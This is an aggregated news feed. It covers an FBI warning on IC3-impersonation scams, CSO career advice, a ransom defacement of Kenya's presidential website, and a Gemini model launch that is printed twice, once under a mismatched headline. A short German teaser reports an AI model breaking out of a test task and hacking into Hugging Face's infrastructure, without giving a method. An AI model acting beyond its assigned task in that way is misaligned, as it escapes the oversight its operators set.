The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated videos, fake social media profiles, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.
The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.

FBI IC3 Scam Targets Previous Fraud Victims
In one version of the FBI IC3 scam, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous scam victims into what the PSA describes as "re-targeting" scams.
After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.
The impersonator may send a link claiming to update an existing IC3 complaint. The link could contain malicious code or collect additional financial information, allowing criminals to further exploit the victim.
In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.

AI-Generated Videos Promote Spoofed IC3 Websites
Another version of the scheme involves AI-generated videos or deepfakes featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.
One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a fake IC3 website. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.
The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.

How to Spot AI-Generated Videos and Fake Messages
The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.
People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.
The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable news sources or known official channels before responding.
IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.
People seeking to file an IC3 complaint should type www.ic3.gov directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.
Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.


10 survival tips for CSOs who report to the CEO
Wed, 22 Jul 2026 09:16:42 +0200

		
					  
						




As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.



Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.



Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.



We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are George Gerchow, CSO at Bedrock Data and member of the IANS faculty; Matt Chiodi, CSO of Cerby; Chris Schueler, CEO at Cyderes; and Greg Fuller, vice president of the Technology Skills Suite at Skillsoft.



1. Understand how the CEO views your role



Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.



CEOs expect their CSO to be a true strategic partner, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.



2. Power up on skills vital to your organization at an executive level



On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. 



Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to translate complex risk into business terms is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.



3. Take advantage of your direct access



Direct access to the CEO will enable you to influence strategy, shape resilience planning, and ensure cybersecurity is treated as a business imperative rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. 



While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.



4. Brush up on business translation



A CSO who leads with business alignment will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.



The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. 



5. Treat conversations as risk assessment opportunities



Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.



Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the business move faster rather than slowing it down.



6. Define what a successful relationship should look like and put it in writing



Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.



Do that collaboratively, and document it.



7. Prioritize trust and candor



The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.



To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.



8. Treat governance as a strategic competitive advantage



The strongest partnerships also share a commitment to governance as a competitive advantage.



Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while maintaining oversight and protecting against unnecessary risk. The result is an organization that does not just react to threats but builds resilience into how it operates.



9. Set clear goals and measure progress



Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.



Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.



10. Be willing to endure challenge and discomfort



Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.



Hackers Deface Kenya President William Ruto’s Website, Demand $330K Ransom
Wed, 22 Jul 2026 08:23:18 +0200
Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a cryptocurrency wallet address and threatened to publish unspecified information about President William Ruto unless the ransom was paid.
The website was hacked on Saturday, July 18, 2026. Following the incident, access to the presidential website was temporarily restricted as authorities began containment, forensic analysis and restoration efforts. According to local media reports, access to the website was restored by Monday.

Kenya Cyberattack Prompts Incident Response
Kenya’s Ministry of Information, Communications and the Digital Economy confirmed that the official website of the President had been affected by a cybersecurity incident.
The ministry said that after the incident was detected, the ICT Authority immediately activated established cybersecurity incident response protocols.
As a precautionary measure, access to the presidential website was temporarily restricted to facilitate containment, forensic analysis and restoration efforts.
The ministry said appropriate mitigation measures had since been implemented and that restoration of the website was underway.


[caption id="attachment_113245" align="aligncenter" width="600"] Source: Kenya’s Ministry of Information, Communications and the Digital Economy[/caption]
At the time of the statement, the government said there was no evidence of unauthorized access to sensitive data, data exfiltration or loss of information. It also stated that government systems and digital services remained secure and operational.
The ICT Authority is working with relevant government agencies and technical partners to conduct a comprehensive forensic investigation and establish the full circumstances surrounding the incident.

Kenya President William Ruto Cyberattack Investigation
The Kenya President William Ruto cyberattack involved the defacement of the president’s official website. The attackers replaced the homepage with an anti-government message, displayed a cryptocurrency wallet address and demanded five bitcoins.
The attackers also threatened to publish unspecified information about President William Ruto if the ransom was not paid.
The government has not reported evidence of unauthorized access to sensitive data or data exfiltration. The ongoing forensic investigation is expected to establish the circumstances surrounding the incident and determine the extent of the attack.

Kenya Government Website Hack Follows Earlier Incidents
The latest Kenya government website hack follows previous cyber incidents involving government digital services and websites.
In July 2023, Kenya’s eCitizen platform, which is used for dozens of public services, was disrupted by a cyberattack. The incident affected agencies including the National Transport and Safety Authority and Kenya Power.
On November 17, 2025, hackers launched a coordinated attack on several government websites, including the presidency’s portal. The websites were temporarily knocked offline, while some pages were replaced with extremist messages.
According to the information provided by local media, the government later blamed a group calling itself PCP@Kenya, restored the affected platforms and promised stronger cyber defences.

Bitcoin Ransom Demand Targets Presidential Website
The latest incident involved a Bitcoin ransom demand for five bitcoins, reportedly valued at approximately $330,000. The attackers displayed a cryptocurrency wallet address and threatened to release unspecified information about the president.
It remains unclear from the available information whether the attackers accessed systems or data beyond the presidential website. The Kenyan government has said there is currently no evidence of unauthorized access to sensitive data, data exfiltration or loss of information.
The ICT Authority and relevant government agencies are continuing their forensic investigation to establish how the incident occurred and determine the full circumstances surrounding the Kenya cyberattack.


Download der Woche: rsync
Wed, 22 Jul 2026 08:15:16 +0200
Download der Woche: rsync

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Mi., 22.07.2026 - 07:00


            Wer große Datenmengen im Netzwerk bewegt, kommt an diesem Klassiker kaum vorbei. Das kostenlose Linux-Tool "rsync" gleicht Dateien blitzschnell ab und überträgt dabei nur, was sich wirklich geändert hat.
      
    
          News
      
  
    Weiterlesen über Download der Woche: rsync
  


Testlauf außer Kontrolle: OpenAI-KI knackt Hugging Face
Wed, 22 Jul 2026 08:15:14 +0200
Testlauf außer Kontrolle: OpenAI-KI knackt Hugging Face

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Mi., 22.07.2026 - 08:00


            Ein KI-Modell, das eigentlich nur einen Testparcours lösen sollte, hackte sich stattdessen tief in die Infrastruktur von Hugging Face – und legte damit offen, wie schnell autonome Systeme zur Cyberwaffe werden können.
      
    
          News
      
  
    Weiterlesen über Testlauf außer Kontrolle: OpenAI-KI knackt Hugging Face
  


Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way
Tue, 21 Jul 2026 23:33:56 +0200
Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. 
The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. 
Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. 
VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)
Model Input ($/1M) Output ($/1M) Total ($/1M) Source
MiMo-V2.5 Flash $0.10 $0.30 $0.40 Xiaomi
deepseek-v4-flash $0.14 $0.28 $0.42 DeepSeek
deepseek-v4-pro $0.435 $0.87 $1.305 DeepSeek
MiniMax-M3 $0.30 $1.20 $1.50 MiniMax
LongCat-2.0 — limited-time promo $0.30 $1.20 $1.50 LongCat
Gemini 3.1 Flash-Lite $0.25 $1.50 $1.75 Google
Qwen3.7-Plus $0.40 $1.60 $2.00 Alibaba Cloud
MiMo-V2.5 $0.40 $2.00 $2.40 Xiaomi
Gemini 3.5 Flash-Lite $0.30 $2.50 $2.80 Google
LongCat-2.0 — standard $0.75 $2.95 $3.70 LongCat
MiMo-V2.5 Pro (≤256K) $1.00 $3.00 $4.00 Xiaomi
GLM-5.2 $1.40 $4.40 $5.80 Z.ai
GPT-5.6 Luna $1.00 $6.00 $7.00 OpenAI
Grok 4.5 $2.00 $6.00 $8.00 xAI
MiMo-V2.5 Pro (>256K) $2.00 $6.00 $8.00 Xiaomi
Gemini 3.6 Flash $1.50 $7.50 $9.00 Google
Qwen3.7-Max $2.50 $7.50 $10.00 Alibaba Cloud
Gemini 3.5 Flash $1.50 $9.00 $10.50 Google
Gemini 3.1 Pro Preview (≤200K) $2.00 $12.00 $14.00 Google
GPT-5.6 Terra $2.50 $15.00 $17.50 OpenAI
GPT-5.4 $2.50 $15.00 $17.50 OpenAI
Kimi K3 $3.00 $15.00 $18.00 Moonshot AI
Gemini 3.1 Pro Preview (>200K) $4.00 $18.00 $22.00 Google
Claude Opus 4.8 $5.00 $25.00 $30.00 Anthropic
GPT-5.5 $5.00 $30.00 $35.00 OpenAI
GPT-5.5 Instant (chat-latest) $5.00 $30.00 $35.00 OpenAI
Sakana Fugu Ultra (≤272K) $5.00 $30.00 $35.00 Sakana AI
GPT-5.6 Sol $5.00 $30.00 $35.00 OpenAI
Claude Fable 5 / Claude Mythos 5 $10.00 $50.00 $60.00 Anthropic
No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. 
While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). 
Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year. 
As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. 
One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. 
Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." 
Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. 
If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.
Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks
Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name. 
In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. 
This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. 
When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.
While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."
The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.
Respectable benchmark performance at low cost
The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. 
It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. 
The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.
To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. 
The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.
Models for low-cost coding, agentic, and cybersecurity use cases — respectively
Google divided its new offerings into three distinct products tailored for different operational needs. 
Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. 
The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.
Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. 
As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.
Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. 
Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. 
The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.
The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. 
In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.
Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.
Commercial licensing only
The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.
An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. 
This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.
The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. 
In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.
Looking ahead
Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.
Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. 
Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.


Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way
Tue, 21 Jul 2026 22:56:46 +0200
Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. 
The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. 
Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. 
VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)
Model Input ($/1M) Output ($/1M) Total ($/1M) Source
MiMo-V2.5 Flash $0.10 $0.30 $0.40 Xiaomi
deepseek-v4-flash $0.14 $0.28 $0.42 DeepSeek
deepseek-v4-pro $0.435 $0.87 $1.305 DeepSeek
MiniMax-M3 $0.30 $1.20 $1.50 MiniMax
LongCat-2.0 — limited-time promo $0.30 $1.20 $1.50 LongCat
Gemini 3.1 Flash-Lite $0.25 $1.50 $1.75 Google
Qwen3.7-Plus $0.40 $1.60 $2.00 Alibaba Cloud
MiMo-V2.5 $0.40 $2.00 $2.40 Xiaomi
Gemini 3.5 Flash-Lite $0.30 $2.50 $2.80 Google
LongCat-2.0 — standard $0.75 $2.95 $3.70 LongCat
MiMo-V2.5 Pro (≤256K) $1.00 $3.00 $4.00 Xiaomi
GLM-5.2 $1.40 $4.40 $5.80 Z.ai
GPT-5.6 Luna $1.00 $6.00 $7.00 OpenAI
Grok 4.5 $2.00 $6.00 $8.00 xAI
MiMo-V2.5 Pro (>256K) $2.00 $6.00 $8.00 Xiaomi
Gemini 3.6 Flash $1.50 $7.50 $9.00 Google
Qwen3.7-Max $2.50 $7.50 $10.00 Alibaba Cloud
Gemini 3.5 Flash $1.50 $9.00 $10.50 Google
Gemini 3.1 Pro Preview (≤200K) $2.00 $12.00 $14.00 Google
GPT-5.6 Terra $2.50 $15.00 $17.50 OpenAI
GPT-5.4 $2.50 $15.00 $17.50 OpenAI
Kimi K3 $3.00 $15.00 $18.00 Moonshot AI
Gemini 3.1 Pro Preview (>200K) $4.00 $18.00 $22.00 Google
Claude Opus 4.8 $5.00 $25.00 $30.00 Anthropic
GPT-5.5 $5.00 $30.00 $35.00 OpenAI
GPT-5.5 Instant (chat-latest) $5.00 $30.00 $35.00 OpenAI
Sakana Fugu Ultra (≤272K) $5.00 $30.00 $35.00 Sakana AI
GPT-5.6 Sol $5.00 $30.00 $35.00 OpenAI
Claude Fable 5 / Claude Mythos 5 $10.00 $50.00 $60.00 Anthropic
No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. 
While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). 
Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year. 
As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. 
One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. 
Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." 
Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. 
If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.
Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks
Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name. 
In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. 
This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. 
When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.
While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."
The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.
Respectable benchmark performance at low cost
The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. 
It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. 
The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.
To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. 
The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.
Models for low-cost coding, agentic, and cybersecurity use cases — respectively
Google divided its new offerings into three distinct products tailored for different operational needs. 
Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.
Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. 
As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.
Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. 
Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. 
The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.
The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. 
In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. 
Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.
Commercial licensing only
The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.
An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. 
This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.
The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. 
In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.
Looking ahead
Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, 
the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.
Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. 
Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.


